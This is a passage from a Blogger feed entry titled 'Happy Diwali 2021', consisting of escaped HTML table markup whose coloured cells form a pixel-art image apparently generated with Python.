width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-2134538621104047149</id><published>2021-11-02T10:56:00.003-07:00</published><updated>2021-11-02T10:59:56.341-07:00</updated><title type='text'>Happy Diwali 2021 - This is NOT an Image 😂. This is made in Python 😉 </title><content type='html'>
    &lt;style&gt;
    td {
        border-radius: 9px;
        border: 0px solid #141414;

    }
    &lt;/style&gt;
    &lt;table style=&quot;border-spacing: 0px;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #e66007; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e66007; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e66007; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e66007; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e66007; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e66008; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e86109; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e85d08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e75b08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e75908; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e85c04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e95b05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ea560a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e25003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e36105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e95f0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e45708; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e45706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e75406; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e75406; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e65305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e45203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e25002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e44f04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e64d07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e54c06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e54d04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e44b04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e64906; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e64706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e74208; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e44209; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e1470a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e04205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e23e03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e23804; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e33604; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e33205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e23005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dc2e04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db2c04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db2805; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db2605; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #da2305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d81f04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d71b04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d81905; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d71706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d51306; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d21003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #e86209; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e86209; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e76008; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e76008; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e86008; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e75f08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e05a04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e3680a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e26d10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e36810; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e75e09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e75a05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e25e05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e9a51b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e9be26; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ecc122; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de6d08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ed4f0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e85506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e85506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e65304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e55503; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e65402; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e65103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e65004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e64b04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e54c05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e24a06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e44807; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e54406; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e34206; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e24409; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e4490f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #da3a02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e03605; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de3204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd2f04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dc2b04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd2904; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #da2604; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d72203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d71f04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d71d04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d61a05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d41704; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d41404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d41105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d40e05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d30b07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d00905; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #e86209; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e86209; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e76108; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e76108; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ea6006; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df6600; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ebaa1c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e4b927; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #eedd23; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f6d61f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de6007; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de5f05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f0ca14; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f7e91d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db6605; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e4610a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e25103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e95608; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e35507; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e34f04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e64f07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e34502; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dc4606; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de4608; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e03d07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd4708; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db4004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df3a00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db3400; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db3706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d52f00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e24c10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d53e0f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d72203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d82503; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d32805; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d72707; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d92504; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d11e04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d01f04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d41b05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d31805; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d41506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d21204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d00f04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d00c04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d00805; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d00606; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf0306; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce0205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #e56208; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e56208; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e66308; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e76408; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e15c02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e8a428; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f5e426; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf7608; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f3ea17; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ebd11a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df6a05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e97b13; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #feff20; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e0aa12; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e84008; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d85d08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #eb9b22; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e4b027; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #edd222; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #efc216; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d05b10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e7861a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ecbe1d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e3b11d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e4a51c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f3d72a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e39d13; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d8691b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e8a626; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e9b723; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd961e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f3d328; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e8c21b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d96719; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #edc022; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ebb61c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d02d15; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb1502; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df9320; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e6a22d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca1302; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce1507; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d20d0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc1100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce0b01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce0501; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb0204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c70204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb0001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb0001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #e35f07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e35f07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e25f06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e35f06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df5e03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e07011; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d96406; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e5a420; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffff14; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e9ce14; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e4a91d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #edd21c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fcfc15; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d9710a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d3500e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f0da24; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e5af17; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce4c0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f4ec16; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f3ce1a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d5390d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d18714; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fbff12; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fafb24; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d18417; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f0cb16; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f6eb14; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c35616; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f4dd1a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #feff14; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e6a71d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d18313; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffff21; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d08214; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d88816; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffff1b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce4b05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
